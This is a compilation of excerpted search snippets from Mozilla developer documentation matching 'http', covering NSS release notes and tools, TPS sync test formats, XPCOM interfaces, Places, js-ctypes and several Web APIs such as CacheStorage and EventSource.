... bugs fixed in nss 3.35 this bugzilla query returns all the bugs fixed in nss 3.35: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.35 compatibility nss 3.35 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.46 release notes
nss 3.46 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_46_rtm/src/ other releases are available in nss releases.
...0f15948fbf67d4103a229226f bug 1564875 - improve rebuilding with build.sh bug 1565243 - support tc_owner without email address in nss taskgraph bug 1563778 - increase maxruntime on mac taskcluster tools, ssl tests bug 1561591 - remove -wmaybe-uninitialized warning in tstclnt.c bug 1561587 - remove -wmaybe-uninitialized warning in lgattr.c bug 1561558 - remove -wmaybe-uninitialized warning in httpserv.c bug 1561556 - remove -wmaybe-uninitialized warning in tls13esni.c bug 1561332 - ec.c:28 warning: comparison of integers of different signs: 'int' and 'unsigned long' bug 1564714 - print certutil commands during setup bug 1565013 - hacl image builder times out while fetching gpg key bug 1563786 - update hacl-star docker image to pull specific commit bug 1559012 - improve gcm perfomance...
...client certificate authentication bug 1564284 - support profile mobility across windows and linux bug 1573942 - gtest for pkcs11.txt with different breaking line formats bug 1575968 - add strsclnt option to enforce the use of either ipv4 or ipv6 bug 1549847 - fix nss builds on ios bug 1485533 - enable nss_ssl_tests on taskcluster this bugzilla query returns all the bugs fixed in nss 3.46: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.46 compatibility nss 3.46 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS tools : vfychain
additional resources for information about nss and other tools related to nss (like jss), check out the nss project wiki at [1]http://www.mozilla.org/projects/security/pki/nss/.
...mailing lists: https://lists.mozilla.org/listinfo/dev-tech-crypto irc: freenode at #dogtag-pki authors the nss tools were written and maintained by developers with netscape, red hat, and sun.
...http://www.mozilla.org/projects/security/pki/nss/ ...
NSS tools : vfyserv
name vfyserv — tbd synopsis vfyserv description the vfyserv tool verifies a certificate chain options additional resources for information about nss and other tools related to nss (like jss), check out the nss project wiki at [1]http://www.mozilla.org/projects/security/pki/nss/.
...mailing lists: https://lists.mozilla.org/listinfo/dev-tech-crypto irc: freenode at #dogtag-pki authors the nss tools were written and maintained by developers with netscape, red hat, and sun.
...http://www.mozilla.org/projects/security/pki/nss/ ...
sslintro.html
the application's protocol (for example, http) determines which end has responsibility to talk first.
...this occurs, for example, when an https server has received a request and determines that before it can answer the request, it needs to request an authentication certificate from the client.
... at the http protocol level, nothing more is being said (that is, no http request or response is being sent), so the server first uses ssl_rehandshake to begin a new handshake and then call ssl_forcehandshake to drive the handshake to completion.
NSS Tools ssltap
it can do this for plain http connections or any tcp protocol, as well as for ssl streams, as described here.
...the following are well-known port numbers: http 80 https 443 smtp 25 ftp 21 imap 143 imaps 993 (imap over ssl) nntp 119 nntps 563 (nntp over ssl) examples you can use the ssl debugging tool to intercept any connection information.
...in your browser window, enter the url http://intercept:1924.
NSS tools : signtool
o https://wiki.mozilla.org/nss_shared_db_howto o https://wiki.mozilla.org/nss_shared_db additional resources for information about nss and other tools related to nss (like jss), check out the nss project wiki at [1]http://www.mozilla.org/projects/security/pki/nss/.
... mailing lists: https://lists.mozilla.org/listinfo/dev-tech-crypto irc: freenode at #dogtag-pki authors the nss tools were written and maintained by developers with netscape, red hat, and sun.
...http://www.mozilla.org/projects/security/pki/nss/ ...
NSS tools : vfychain
additional resources for information about nss and other tools related to nss (like jss), check out the nss project wiki at [1]http://www.mozilla.org/projects/security/pki/nss/.
... mailing lists: https://lists.mozilla.org/listinfo/dev-tech-crypto irc: freenode at #dogtag-pki authors the nss tools were written and maintained by developers with netscape, red hat, and sun.
...http://www.mozilla.org/projects/security/pki/nss/ ...
Proxies in Necko
depending on the type of the proxy info, it either asks the http protocol handler or the protocol handler for the requested uri for a new channel with the nsiproxyinfo - if the channel supports nsiproxiedprotocolhandler.
...note that the proxy method is only used when the protocol handler supports http proxies, as indicated by its protocol flags.
...to be written xxx missing paragraphs are about pac, and more details about http proxying, and maybe some more details about socks proxies.
TPS Bookmark Lists
for example: var bookmarks_after_second_modify = { "menu": [ { uri: "http://www.getfirefox.com/", title: "get firefox" } ], "menu/foldera": [ { uri: "http://mozilla.com", title: "mozilla" }, ] }; this describes two bookmarks, one in the "menu" folder, and the other in the "folder1" subfolder of "menu".
... two additional properties: location: the full path of the folder that the bookmark should be moved to position: the title of the existing bookmark item, in the current folder, where this bookmark should be moved to (i.e., this bookmark would be inserted into the bookmark list at the position of the named bookmark, causing that bookmark to be positioned below the current one) example: { uri: "http://www.google.com", title: "google", loadinsidebar: false, tags: [ "google", "computers", "misc" ] } livemark objects valid properties are: livemark: the livemark name.
...cation: the full path of the folder that the livemark should be moved to position: the title of the existing bookmark item, in the current folder, where this livemark should be moved to (i.e., this livemark would be inserted into the bookmark list at the position of the named bookmark, causing that bookmark to be positioned below the current one) example: { livemark: "livemarkone", feeduri: "http://rss.wunderground.com/blog/jeffmasters/rss.xml", siteuri: "http://www.wunderground.com/blog/jeffmasters/show.html" } folder objects valid properties are: folder: the folder's name.
TPS History Lists
an integer value from one of the transition types listed at https://developer.mozilla.org/en/nsinavhistoryservice#constants.
... for example: var history_initial = [ { uri: "http://www.google.com/", title: "google", visits: [ { type: 1, date: 0 }, { type: 2, date: -1 } ] }, { uri: "http://www.cnn.com/", title: "cnn", visits: [ { type: 1, date: -1 }, { type: 2, date: -36 } ] }, ]; the history list used for deletions looks different.
...to a specific page from history, use an object with a uri property to delete all references to all pages from a specific host, use an object with a host property to delete all history in a certain time period, use an object with begin and end properties, which should have integer values that express time since the present in hours (see date above) for example: var history_to_delete = [ { uri: "http://www.cnn.com/" }, { begin: -24, end: -1 }, { host: "www.google.com" } ]; history lists and phase actions history lists cannot be modified, they can only be added, deleted, and verified, using the following functions: history.add history.delete history.verify history.verifynot ...
TPS Password Lists
for example: var password_list = [ { hostname: "http://www.example.com", submiturl: "http://login.example.com", username: "joe", password: "secret123", usernamefield: "uname", passwordfield: "pword", changes: { password: "zippity-do-dah" } }, { hostname: "http://www.example.com", realm: "login", username: "joe", password: "secretlogin" } ]; each object has the following properties: hostname: the hostname for the password.
...realm: the http realm for the password.
...used for http authentication passwords.
TPS Tab Lists
for example: var tabs1 = [ { uri: "http://hg.mozilla.org/automation/crossweave/raw-file/2d9aca9585b6/pages/page1.html", title: "crossweave test page 1", profile: "profile1" }, { uri: "data:text/html,<html><head><title>hello</title></head><body>hello</body></html>", title: "hello", profile: "profile1" } ]; tab lists and phase actions tabs cannot be modified or deleted, only added or verified with the following functions: tabs.add - opens the specified tabs in the browser window.
... there are a handful of static pages at http://hg.mozilla.org/services/tps/file/tip/pages which can be used for tab testing, and data: url's can be used as well.
... example see the tps tabs unit test: http://hg.mozilla.org/services/tps/f...s/test_tabs.js ...
TPS Tests
"fx_account": { "username": "foobar@restmail.net", "password": "hunter2" }, "preferences": { // use "https://stable.dev.lcip.org" for dev instead of stage "identity.fxaccounts.autoconfig.uri": "https://accounts.stage.mozaws.net" // possibly more preferences...
... // phase declarations var phases = { "phase1": "profile1", "phase2": "profile2", "phase3": "profile1" }; // asset list // the initial list of bookmarks to be added to the browser var bookmarks_initial = { "menu": [ { uri: "http://www.google.com", title "google.com", changes: { // these properties are ignored by calls other than bookmarks.modify title: "google" } }, { folder: "foldera" }, { folder: "folderb" } ], "menu/foldera": [ { uri: "http://www.yahoo.com", title: "testing yahoo", changes: { location: "menu/folderb" } } ] }; // the...
...note that it's equivalent to what you get after applying the properties // from "changes" var bookmarks_after_first_modify = { "menu": [ { uri: "http://www.google.com", title "google" }, { folder: "foldera" }, { folder: "folderb" } ], "menu/folderb": [ { uri: "http://www.yahoo.com", title: "testing yahoo" } ] }; // phase implementation phase('phase1', [ [bookmarks.add, bookmarks_initial], [sync, sync_wipe_server] ]); phase('phase2', [ [sync], [bookmarks.verify, bookmarks_initial], [bookmarks.modify, bookmarks_initial], [bookmarks.verify, bookmarks_after_first_modify], [sync] ]); phase('phase3', [ [sync], [bookmarks.verify, bookmarks_after_first_mo...
Feed content access API
use an xmlhttprequest to load the feed, then pass its string to an nsifeedprocessor to parse the feed.
... loading the feed and sending it to the parser is done using code similar to this: fetch: function(feedurl) { var httprequest = null; function inforeceived() { var data = httprequest.responsetext; var ioservice = components.classes['@mozilla.org/network/io-service;1'] .getservice(components.interfaces.nsiioservice); var uri = ioservice.newuri(feedurl, null, null); if (data.length) { var parser = components.classes["@mozilla.org/feed-processor;1"] .createinstance(components.interfaces.nsifeedprocessor); var listener = new feedtestresultlistener(); try { parser.listener = listener; parser.parsefromstring(data, uri); } ...
...catch(e) { alert("error parsing feed."); } } } httprequest = new xmlhttprequest(); httprequest.open("get", feedurl, true); try { httprequest.onload = inforeceived; httprequest.send(null); } catch(e) { alert(e); } } the nsifeedprocessor interface lets you parse the feed data from several possible sources; in this case, we're loading a document into a string, then parsing that string using its parsefromstring() method.
Querying Places
domain name matching, text terms matching, time range...) // see : https://developer.mozilla.org/en/nsinavhistoryquery var query = placesutils.history.getnewquery(); // options parameters (e.g.
... ordering mode and sorting mode...) // see : https://developer.mozilla.org/en/nsinavhistoryqueryoptions var options = placesutils.history.getnewqueryoptions(); // execute the query // see : https://developer.mozilla.org/en/nsinavhistoryservice#executequery() var result = placesutils.history.executequery(query, options); // using the results by traversing a container // see : https://developer.mozilla.org/en/nsinavhistorycontainerresultnode var cont = result.root; cont.containeropen = true; for (var i = 0; i < cont.childcount; i ++) { var node = cont.getchild(i); // "node" attributes contains the information (e.g.
... uri, title, time, icon...) // see : https://developer.mozilla.org/en/nsinavhistoryresultnode dump(node.title+ "\n"); } // close container when done // see : https://developer.mozilla.org/en/nsinavhistorycontainerresultnode cont.containeropen = false; see also places query uris displaying places information using views ...
Using the Places tagging service
taggingsvc.taguri(uri("http://example.com/"), ["tag 1"]); //first argument = uri //second argument = array of tag(s) where uri() is probably similar to makeuri().
... tagginsvc.untaguri(uri("http://example.com/"), ["tag 1"]); //first argument = uri //second argument = array of tag(s) finding all urls with a given tag the nsitaggingservice.geturisfortag() method returns an array of all urls tagged with the given tag.
... var tags = taggingsvc.gettagsforuri(uri("http://example.com/", {})); //tags = an array of tags stored in http://example.com/ see also places nsitaggingservice ...
Setting up the Gecko SDK
there is now separate archive with gecko-sdk, just xul-runner-sdk.): linux: http://ftp.mozilla.org/pub/mozi....8.0.4.tar.bz2 windows: http://ftp.mozilla.org/pub/mozi...vc-1.8.0.4.zip mac: http://ftp.mozilla.org/pub/mozi...ac-1.8.0.4.zip note that the version number for the archives above is 1.8.
...you may want to check for newer versions at gecko versions prior to 1.7: http://ftp.mozilla.org/pub/mozi...illa/releases/ gecko versions after 1.8: http://ftp.mozilla.org/pub/mozi...nner/releases/ once you download the sdk, you can expand it into any convenient location.
... tools needed gecko 1.9.2 sdk: http://releases.mozilla.org/pub/mozi....win32.sdk.zip windows platform sdk: http://www.microsoft.com/downloads/e...displaylang=en moztools: http://ftp.mozilla.org/pub/mozilla.o...8-moztools.zip the windows platform sdk has the c++ compiler/linker needed, moztools has several tools and libraries needed for this example.
Using XPCOM Components
see http://www.mozilla.org/scriptable/ for more information about xpconnect and javascript.
...i added |pr_false| as a fourth parameter because the interface seems to require it: http://lxr.mozilla.org/mozilla/source/netwerk/cookie/public/nsicookiemanager.idl#64 this problem also appears in the javascript version below, and i've added |false| as a fourth parameter there as well.
...i added |false| as a fourth parameter because the interface seems to require it: http://lxr.mozilla.org/mozilla/source/netwerk/cookie/public/nsicookiemanager.idl#64 this problem also appears in the c++ version above, and i've added |pr_false| as a fourth parameter there as well.
Components.utils.Sandbox
m principal, you can create it using code like: cc["@mozilla.org/systemprincipal;1"].createinstance(ci.nsiprincipal); content principal you can specify a content principal for a particular origin in one of three ways: as an nsiprincipal, for example by using the nodeprincipal property of a dom node as an nsidomwindow, such as that returned by the dom window property as a string uri like "http://www.example.com/" (discouraged) when possible, specify a window or an nsiprincipal object instead of using a string uri.
... the following objects are supported: -promise (removed in firefox 37) css indexeddb (web worker only) xmlhttprequest textencoder textdecoder url urlsearchparams atob btoa blob file crypto rtcidentityprovider fetch (added in firefox 41) caches filereader for example: var sandboxscript = 'var encoded = btoa("hello");' + ...
...'var decoded = atob(encoded);'; var options = { "wantglobalproperties": ["atob", "btoa"] } var sandbox = components.utils.sandbox("https://example.org/", options); components.utils.evalinsandbox(sandboxscript, sandbox); console.log(sandbox.encoded); // "sgvsbg8=" console.log(sandbox.decoded); // "hello" wantxhrconstructor this option was removed in gecko version 26.
Components.utils.importGlobalProperties
system scopes such as jsms and frame scripts don't have certain objects, such as indexeddb and xmlhttprequest, that are available to dom window globals.
... atob blob btoa crypto css fetch file nsidomfile indexeddb nodefilter firefox 60 nsidomnodefilter obsolete since gecko 60 rtcidentityprovider textdecoder textencoder url urlsearchparams xmlhttprequest nsixmlhttprequest obsolete since gecko 60 for string/object in table without a minimum firefox version, it is not exactly known since when it was available, however it is guranteed available from firefox 28 and up.
... var domfile = services.appshell.hiddendomwindow.file('/path/to/file'); xpcom components some objects have an xpcom alternative, which typically allows more flexibility then the dom version here is an example of how to use the dom xmlhttprequest through xpcom interface of nsixmlhttprequest: var oreq = cc["@mozilla.org/xmlextras/xmlhttprequest;1"].createinstance(ci.nsixmlhttprequest); ...
nsACString_internal
<map id="classes" name="classes"> <area alt="" coords="456,5,605,53" href="http://developer.mozilla.org/en/nsacstring_internal" shape="rect" title="nsacstring_internal"> <area alt="" coords="415,101,497,149" href="http://developer.mozilla.org/en/nscstring" shape="rect" title="nscstring"> <area alt="" coords="521,101,689,149" href="http://developer.mozilla.org/en/nsdependentcsubstring" shape="rect" title="nsdependentcsubstring"> <area alt="" coords="172,197,289,245" href="htt...
...p://developer.mozilla.org/en/nsfixedcstring" shape="rect" title="nsfixedcstring"> <area alt="" coords="315,197,437,245" href="http://developer.mozilla.org/en/nsxpidlcstring" shape="rect" title="nsxpidlcstring"> <area alt="" coords="461,197,611,245" href="http://developer.mozilla.org/en/nsdependentcstring" shape="rect" title="nsdependentcstring"> <area alt="" coords="635,197,787,245" href="http://developer.mozilla.org/en/nspromiseflatcstring" shape="rect" title="nspromiseflatcstring"> <area alt="" coords="173,293,285,341" href="http://developer.mozilla.org/en/nscautostring" shape="rect" title="nscautostring"> <area alt="" coords="5,389,227,437" href="http://developer.mozilla.org/en/ns_lossyconvertutf16toascii" shape="rect" title="ns_lossyconvertutf16toascii"> <area alt="" coords="251,389,435,43...
...7" href="http://developer.mozilla.org/en/ns_convertutf16toutf8" shape="rect" title="ns_convertutf16toutf8"> <area alt="" coords="309,293,445,341" href="http://developer.mozilla.org/en/nsadoptingcstring" shape="rect" title="nsadoptingcstring"> </map> method overview constructors beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char operator= adopt replace replaceascii append appe...
nsAString_internal
<map id="classes" name="classes"> <area alt="" coords="415,5,553,53" href="http://developer.mozilla.org/en/nsastring_internal" shape="rect" title="nsastring_internal"> <area alt="" coords="379,101,451,149" href="http://developer.mozilla.org/en/nsstring" shape="rect" title="nsstring"> <area alt="" coords="475,101,635,149" href="http://developer.mozilla.org/en/nsdependentsubstring" shape="rect" title="nsdependentsubstring"> <area alt="" coords="151,197,257,245" href="http://de...
...veloper.mozilla.org/en/nsfixedstring" shape="rect" title="nsfixedstring"> <area alt="" coords="284,197,396,245" href="http://developer.mozilla.org/en/nsxpidlstring" shape="rect" title="nsxpidlstring"> <area alt="" coords="420,197,559,245" href="http://developer.mozilla.org/en/nsdependentstring" shape="rect" title="nsdependentstring"> <area alt="" coords="583,197,727,245" href="http://developer.mozilla.org/en/nspromiseflatstring" shape="rect" title="nspromiseflatstring"> <area alt="" coords="152,293,253,341" href="http://developer.mozilla.org/en/nsautostring" shape="rect" title="nsautostring"> <area alt="" coords="5,389,192,437" href="http://developer.mozilla.org/en/ns_convertasciitoutf16" shape="rect" title="ns_convertasciitoutf16"> <area alt="" coords="216,389,400,437" href="http://developer.
...mozilla.org/en/ns_convertutf8toutf16" shape="rect" title="ns_convertutf8toutf16"> <area alt="" coords="277,293,405,341" href="http://developer.mozilla.org/en/nsadoptingstring" shape="rect" title="nsadoptingstring"> </map> method overview constructors beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char operator= adopt replace replaceascii append appendascii appendliteral(co...
nsIChannel
for example, queryinterfacing to nsihttpchannel allows response headers to be retrieved for the corresponding http transaction.
... implemented by netwerk/base/src/nsbasechannel.cpp and netwerk/protocol/http/src/nshttpchannel.cpp.
... note: this is distinctly different from the http referer (referring uri), which is typically the page that contained the original uri (accessible from nsihttpchannel.) owner nsisupports the owner, corresponding to the entity that is responsible for this channel.
nsIDOMStorageItem
attributes attribute type description secure boolean if true, the item was stored for an https page.
... note: all items, regardless of whether they were stored for an http page or an https page, are visible from https pages.
... however, http pages can only see items stored from http pages, and will not see items stored from https pages.
nsIIOService
but if the load is coming from a js api (such as xmlhttprequest) or if the load might be coalesced across multiple elements (such as for ) then pass in the document node instead.
...but if the load is coming from a js api (such as xmlhttprequest) or if the load might be coalesced across multiple elements (such as for <img>) then pass in the document node instead.
...but if the load is coming from a js api (such as xmlhttprequest) or if the load might be coalesced across multiple elements (such as for ) then pass in the document node instead.
nsIMacDockSupport
this is created by using the dockmenu attribute of nsimacdocksupport here: http://mxr.mozilla.org/mozilla-release/source/browser/base/content/browser.js#1562 this is seen here: if you were to copy and follow that example you would replace the default native menu.
... this can be done like this: var docksupport = cc['@mozilla.org/widget/macdocksupport;1'].getservice(ci.nsimacdocksupport); console.log('docksupport:', docksupport); var win = services.wm.getmostrecentwindow('navigator:browser'); var macmenu = win.document.createelementns('http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul', 'menupopup'); macmenu.setattribute('id', 'mymacmenu'); var macmenuitem = win.document.createelementns('http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul', 'menuitem'); macmenuitem.setattribute('label', 'show most recent window'); macmenuitem.setattribute('id', 'mymacmenuitem'); macmenuitem.addeventlistener('command', function(){ var docksupport = cc['@mozilla.org/widget/macdocksupport;1'].getservice(ci.nsimacdocksupport); docksupport.activateapp...
...var macmenuitem = services.appshell.hiddendomwindow.document.createelementns('http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul', 'menuitem'); macmenuitem.setattribute('label', 'show most recent window'); macmenuitem.setattribute('id', 'mymacmenuitem'); macmenuitem.addeventlistener('command', function(){ var docksupport = cc['@mozilla.org/widget/macdocksupport;1'].getservice(ci.nsimacdocksupport); docksupport.activateapplication(true); services.wm.getmostrecen...
nsIProtocolProxyService
however, if the nsiproxyinfo type is "http", then it means that the given uri should be loaded using the http protocol handler, which also supports nsiproxiedprotocolhandler.
...standard values are: "http" - specifies a http proxy "https" - specifies a https proxy "socks" - specifies a socks version 5 proxy "socks4" - specifies a socks version 4 proxy "direct" - specifies a direct connection (useful for failover) the type name is case-insensitive.
...a proxy is disallowed, for example, if it is a http proxy and the nsiprotocolhandler for the queried uri does not permit proxying via http.
nsIURI
a port value of -1 corresponds to the protocol's default port (for example -1 implies port 80 for http uris).
...for example, comparing "http://foo.com:80/" and "http://foo.com/" will return true.
...for example, comparing "http://foo.com/#" and "http://foo.com/" or "http://foo.com/#aaa" and "http://foo.com/#bbb" will return true.
nsIUploadChannel2
acontenttype this value will replace any existing content-type header on the http request, regardless of whether or not its empty.
...amethod the http request method to set on the stream.
... astreamhasheaders true if the stream already contains headers for the http request.
nsIWebProgressListener
this method will be called on security transitions (for example http -> https, https -> http, foo -> https) and after document load completion.
...note: astatus may be a success code even for server generated errors, such as the http 404 file not found error.
... in such cases, the request itself should be queried for extended error information (for example for http requests see nsihttpchannel.
XPCOM Interface Reference by grouping
idownloadprogresslistener element internal nsiworker nsiworkerglobalscope nsiworkermessageevent nsiworkermessageport nsiworkerscope tree nsitreeboxobject nsitreecolumn nsitreecolumns nsitreecontentview nsitreeselection nsitreeview xform nsixformsmodelelement nsixformsnsinstanceelement nsixformsnsmodelelement xmlhttprequest nsixmlhttprequesteventtarget favicon nsifavicondatacallback nsifaviconservice frame nsichromeframemessagemanager nsiframeloader nsiframeloaderowner nsiframemessagelistener nsiframemessagemanager interface nsijsxmlhttprequest jetpack nsijetpack nsijetpackservice offlinestorage nsiapplicationcache ...
...t32 nsisupportsprint64 nsisupportspriority nsisupportsprtime nsisupportspruint16 nsisupportspruint32 nsisupportspruint64 nsisupportspruint8 nsisupportsstring nsisupportsvoid nsisupportsweakreference nsivariant do not use nsienumerator nsiinprocesscontentframemessagemanager nsiscriptableio nsixpcscriptable future nsixmlhttprequestupload obsolete nsixmlrpcclient nsixmlrpcfault security auth nsiauthmodule nsiauthprompt nsiauthpromptprovider nsiauthpromptwrapper nsiasyncverifyredirectcallback content nsicontentpolicy credentials nsilogininfo nsiloginmanager using nsil...
...ties nsifileview memory nsimemory network channel nsichannel nsichanneleventsink nsirequest nsirequestobserver nsiresumablechannel nsidnsservice nsiftpchannel nsiftpeventsink nsihttpchannel nsihttpchannelinternal nsihttpheadervisitor nsiidnservice nsiprotocolhandler nsiprotocolproxycallback nsiprotocolproxyfilter nsiprotocolproxyservice nsiproxyinfo preferences nsiiniparser nsiiniparserfactory nsiprefbranch nsiprefbranch2 nsipreflocalizedstring n...
XPCOM
pcom for the domwarning: this document has not yet been reviewed by the dom gurus, it might contain some errors.language bindingsan xpcom language binding is a bridge between a particular language and xpcom to provide access to xpcom objects from that language, and to let modules written in that language be used as xpcom objects by all other languages for which there are xpcom bindings.monitoring http activitygecko includes the nsihttpactivityobserver interface, which you can implement in your code to monitor http transactions in real time, receiving a callback as the transactions take place.nscomptr versus refptrgecko code uses both nscomptr and refptr as smart pointers.
...unless otherwise noted you register for the topics using the nsiobserverservice.setting http request headershttp is one of the core technologies behind the web.
... in addition to the actual content, some important information is passed with http headers for both http requests and responses.storagestorage is a sqlite database api.
Thunderbird Binaries
thunderbird current release can be downloaded from https://www.mozilla.org/thunderbird/ past thunderbird releases can be downloaded from https://releases.mozilla.org/pub/thunderbird/releases/ early preview releases whilst writing new versions of thunderbird, developers release preview versions, known as betas.
... preview releases are available from http://www.mozilla.org/thunderbird/channel/ nightly builds nightly builds are cutting-edge builds.
... latest english trunk builds are available at: https://archive.mozilla.org/pub/thunderbird/nightly/latest-comm-central/ latest localized trunk builds are available at: https://archive.mozilla.org/pub/thunderbird/nightly/latest-comm-central-l10n/ note: please use http://ftp.stage.mozaws.net/pub/thunderbird/nightly/latest-comm-central/ because the above two links currently do not work.
Virtualenv
here are a few such tools: carton: make a self-extracting virtualenv from directories or urls of packages; http://pypi.python.org/pypi/carton velcro: a script that sets up a python project for local installation; https://bitbucket.org/kumar303/velcro/ virtualenvwrapper: a set of extensions to ian bicking’s virtualenv tool for creating isolated python development environments; http://www.doughellmann.com/projects...tualenvwrapper the mozilla-central virtualenv in order to make use of various pyt...
...hon modules located throughout mozilla-central, a virtualenv is created as part of the build process: http://mxr.mozilla.org/mozilla-central/source/js/src/build/autoconf/python-virtualenv.m4 .
... the populate_virtualenv.py script, when invoked, installs a list of packages, http://mxr.mozilla.org/mozilla-central/source/build/virtualenv/packages.txt , into the virtualenv via one of various methods.
Using Objective-C from js-ctypes
*/ // apple docs :: working with blocks - https://developer.apple.com/library/ios/documentation/cocoa/conceptual/programmingwithobjectivec/workingwithblocks/workingwithblocks.html var _nsconcreteglobalblock = ctypes.open(ctypes.libraryname('objc')).declare('_nsconcreteglobalblock', ctypes.voidptr_t); // //github.com/realityripple/uxp/blob/master/js/src/ctypes/library.cpp?offset=0#271 /** * the "block descriptor" is a static singleton s...
... */ // struct is seen here in docs: http://clang.llvm.org/docs/block-abi-apple.html var block_descriptor_1 = ctypes.structtype('block_descriptor_1', [ { reserved: ctypes.unsigned_long_long }, { size: ctypes.unsigned_long_long } ]); /** * we have to simulate what the llvm compiler does when it encounters a block * literal expression (see `block-abi-apple.txt` above).
... */ // struct is seen here in docs: http://clang.llvm.org/docs/block-abi-apple.html var block_literal_1 = ctypes.structtype('block_literal_1', [ { isa: ctypes.voidptr_t }, { flags: ctypes.int32_t }, { reserved: ctypes.int32_t }, { invoke: ctypes.voidptr_t }, { descriptor: block_descriptor_1.ptr } ]); var block_const = { block_has_copy_dispose: 1 << 25, block_has_ctor: 1 << 26, block_is_global: 1 << 28, block_has_stret: 1 << 29, block_has_signature: 1 << 30 }; // based on work from here: https://github.com/trueinteractions/tint2/blob/f6ce18b16ada165b98b07869314dad1d7bee0252/modules/bridge/core.js#l370-l394 var bl = block_literal_1(); // set the class of the instance bl.isa = _nsconcreteglobalb...
Browser Console - Firefox Developer Tools
browser console logging the browser console logs the same sorts of messages as the web console: http requests warnings and errors (including javascript, css, security warnings and errors, and messages explicitly logged by javascript code using the console api).
...unning this code in the browser console's command line (remember that to send multiple lines to the browser console, use shift+enter): var newtabbrowser = gbrowser.getbrowserfortab(gbrowser.selectedtab); newtabbrowser.addeventlistener("load", function() { newtabbrowser.contentdocument.body.innerhtml = "<h1>this page has been eaten</h1>"; }, true); newtabbrowser.contentdocument.location.href = "https://mozilla.org/"; it adds a listener to the currently selected tab's load event that will eat the new page, then loads a new page.
...on windows, the following code will add a new item to the browser's main menu: var parent = window.document.getelementbyid("appmenuprimarypane"); var makethetea = gbrowser.ownerdocument.defaultview.document.createelementns("http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul", "menuitem"); makethetea.setattribute("label", "a nice cup of tea?"); parent.appendchild(makethetea); on macos, this similar code will add a new item to the "tools" menu: var parent = window.document.getelementbyid("menu_toolspopup"); var makethetea = gbrowser.ownerdocument.defaultview.document.createelementns("http://www.mozilla.org/key...
Settings - Firefox Developer Tools
disable http cache disable the browser http cache to simulate first-load performance in all tabs that have the toolbox open.
... note that this option was called "disable cache" in firefox versions previous to 49, but it was renamed to make it clearer that this affects the http cache, and not service workers/the cache api.
... enable service workers over http enable service worker registrations from insecure websites.
BaseAudioContext.decodeAudioData() - Web APIs
in this case the arraybuffer is loaded from xmlhttprequest and filereader.
... syntax older callback syntax: baseaudiocontext.decodeaudiodata(arraybuffer, successcallback, errorcallback); newer promise-based syntax: promise<decodeddata> baseaudiocontext.decodeaudiodata(arraybuffer); parameters arraybuffer an arraybuffer containing the audio data to be decoded, usually grabbed from xmlhttprequest, windoworworkerglobalscope.fetch() or filereader.
...// then we put the buffer into the source function getdata() { source = audioctx.createbuffersource(); var request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { source.buffer = buffer; source.connect(audioctx.destination); source.loop = true; }, function(e){ console.log("error with decoding audi...
CacheStorage - Web APIs
note: chrome and safari only expose `cachestorage` to the windowed context over https.
...those that aren't using https, although this definition will likely become more complex in the future.) when testing, you can get around this by checking the "enable service workers over http (when toolbox is open)" option in the firefox devtools options/gear menu.
...async function getdata() { const cacheversion = 1; const cachename = `myapp-${ cacheversion }`; const url = 'https://jsonplaceholder.typicode.com/todos/1'; let cacheddata = await getcacheddata( cachename, url ); if ( cacheddata ) { console.log( 'retrieved cached data' ); return cacheddata; } console.log( 'fetching fresh data' ); const cachestorage = await caches.open( cachename ); await cachestorage.add( url ); cacheddata = await getcacheddata( cachename, url ); awa...
Pixel manipulation with canvas - Web APIs
<canvas id="canvas" width="300" height="227" style="float:left"></canvas> <div id="color" style="width:200px;height:50px;float:left"></div> var img = new image(); img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg'; var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); img.onload = function() { ctx.drawimage(img, 0, 0); img.style.display = 'none'; }; var color = document.getelementbyid('color'); function pick(event) { var x = event.layerx; var y = event.layery; var pixel = ctx.getimagedata(x, y, 1, 1); var data = pixel.da...
... <canvas id="canvas" width="300" height="227"></canvas> <div> <input id="grayscalebtn" value="grayscale" type="button"> <input id="invertbtn" value="invert" type="button"> </div> var img = new image(); img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg'; img.onload = function() { draw(this); }; function draw(img) { var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); ctx.drawimage(img, 0, 0); img.style.display = 'none'; var imagedata = ctx.getimagedata(0, 0, canvas.width, canvas.height); var data = imagedata.data; var invert = function() { for (var ...
... zoom example <canvas id="canvas" width="300" height="227"></canvas> <canvas id="zoom" width="300" height="227"></canvas> <div> <label for="smoothbtn"> <input type="checkbox" name="smoothbtn" checked="checked" id="smoothbtn"> enable image smoothing </label> </div> var img = new image(); img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg'; img.onload = function() { draw(this); }; function draw(img) { var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); ctx.drawimage(img, 0, 0); img.style.display = 'none'; var zoomctx = document.getelementbyid('zoom').getcontext('2d'); var smoothbtn = document.getelementbyid('smoothbtn'); var togglesmoothi...
EventSource - Web APIs
an eventsource instance opens a persistent connection to an http server, which sends events in text/event-stream format.
... when not used over http/2, sse suffers from a limitation to the maximum number of open connections, which can be specially painful when opening various tabs as the limit is per browser and set to a very low number (6).
...when using http/2, the maximum number of simultaneous http streams is negotiated between the server and the client (defaults to 100).
